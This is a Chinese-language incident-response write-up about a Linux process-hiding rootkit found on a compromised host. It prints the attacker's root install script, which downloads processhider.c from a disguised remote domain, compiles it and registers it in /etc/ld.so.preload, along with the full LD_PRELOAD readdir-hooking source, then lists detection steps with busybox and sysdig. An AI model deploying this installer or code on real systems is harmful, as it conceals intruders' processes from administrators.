实现过程

  1. 从应急现场拿到的，直接上代码：<br />shell执行如下程序，运行前修改要processhider.c中要隐藏的程序名称。
  1. if [ "$EUID" -ne 0 ]
  2.   then echo "Please run as root"
  3. else
  4.   if [ `grep libc2.28 /etc/ld.so.preload`  ]
  5.   then echo "hideproc already done!!"
  6.   else
  7.     apt-get update -y
  8.     apt-get install build-essential -y
  9.     yum check-update
  10.     yum install build-essential -y
  11.     dnf groupinstall "Development Tools" -y
  12.     yum group install "Development Tools"  -y
  13.     curl http://m.windowsupdatesupport.org/d/processhider.c -o  processhider.c
  15.     gcc -Wall -fPIC -shared -o libc2.28.so processhider.c -ldl
  16.     mv libc2.28.so /usr/local/lib/ -f
  17.     grep libc2.28 /etc/ld.so.preload  || echo /usr/local/lib/libc2.28.so >> /etc/ld.so.preload
  18.     rm -f processhider.c
  19.     ls >/tmp/.1  2>&1
  20.     grep libc2.28.so /tmp/.1 && echo >/etc/ld.so.preload
  21.   fi
  22. fi

其中：http://m.windowsupdatesupport.org/d/processhider.c 内容为：

  1. #define _GNU_SOURCE
  3. #include <stdio.h>
  4. #include <dlfcn.h>
  5. #include <dirent.h>
  6. #include <string.h>
  7. #include <unistd.h>
  9. /*
  10.  * Every process with this name will be excluded
  11.  */
  12. static const char* process_to_filter = "kworkers|dbus|autoupdate";
  14. /*
  15.  * Get a directory name given a DIR* handle
  16.  */
  17. static int get_dir_name(DIR* dirp, char* buf, size_t size)
  18. {
  19.     int fd = dirfd(dirp);
  20.     if(fd == -1) {
  21.         return 0;
  22.     }
  24.     char tmp[64];
  25.     snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
  26.     ssize_t ret = readlink(tmp, buf, size);
  27.     if(ret == -1) {
  28.         return 0;
  29.     }
  31.     buf[ret] = 0;
  32.     return 1;
  33. }
  35. /*
  36.  * Get a process name given its pid
  37.  */
  38. static int get_process_name(char* pid, char* buf)
  39. {
  40.     if(strspn(pid, "0123456789") != strlen(pid)) {
  41.         return 0;
  42.     }
  44.     char tmp[256];
  45.     snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
  47.     FILE* f = fopen(tmp, "r");
  48.     if(f == NULL) {
  49.         return 0;
  50.     }
  52.     if(fgets(tmp, sizeof(tmp), f) == NULL) {
  53.         fclose(f);
  54.         return 0;
  55.     }
  57.     fclose(f);
  59.     int unused;
  60.     sscanf(tmp, "%d (%[^)]s", &unused, buf);
  61.     return 1;
  62. }
  64. #define DECLARE_READDIR(dirent, readdir)                                \
  65. static struct dirent* (*original_##readdir)(DIR*) = NULL;               \
  66.                                                                         \
  67. struct dirent* readdir(DIR *dirp)                                       \
  68. {                                                                       \
  69.     if(original_##readdir == NULL) {                                    \
  70.         original_##readdir = dlsym(RTLD_NEXT, #readdir);               \
  71.         if(original_##readdir == NULL)                                  \
  72.         {                                                               \
  73.             fprintf(stderr, "Error in dlsym: %s\n", dlerror());         \
  74.         }                                                               \
  75.     }                                                                   \
  76.                                                                         \
  77.     struct dirent* dir;                                                 \
  78.                                                                         \
  79.     while(1)                                                            \
  80.     {                                                                   \
  81.         dir = original_##readdir(dirp);                                 \
  82.         if(dir) {                                                       \
  83.             char dir_name[256];                                         \
  84.             char process_name[256];                                     \
  85.             if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&        \
  86.                 strcmp(dir_name, "/proc") == 0 &&                       \
  87.                 get_process_name(dir->d_name, process_name) &&          \
  88.                 strstr( process_to_filter,process_name)) {         \
  89.                 continue;                                               \
  90.             }                                                           \
  91.         }                                                               \
  92.         break;                                                          \
  93.     }                                                                   \
  94.     return dir;                                                         \
  95. }
  97. DECLARE_READDIR(dirent64, readdir64);
  98. DECLARE_READDIR(dirent, readdir);

查杀方案

应对方式
1、使用busybox执行命令查看
2、sysdig命令查看

  2. sudo sysdig -c topprocs_cpu     # 查看cpu进程占用情况
  3. sudo sysdig proc.name contains evil_script   # 针对包含evil_script的进程监测
  4. # 监测网络情况
  5. sudo sysdig -c topprocs_net
  6. sudo sysdig -c topconns

3、查看相关pid的cmdline

  1. cat /proc/PID/cmdline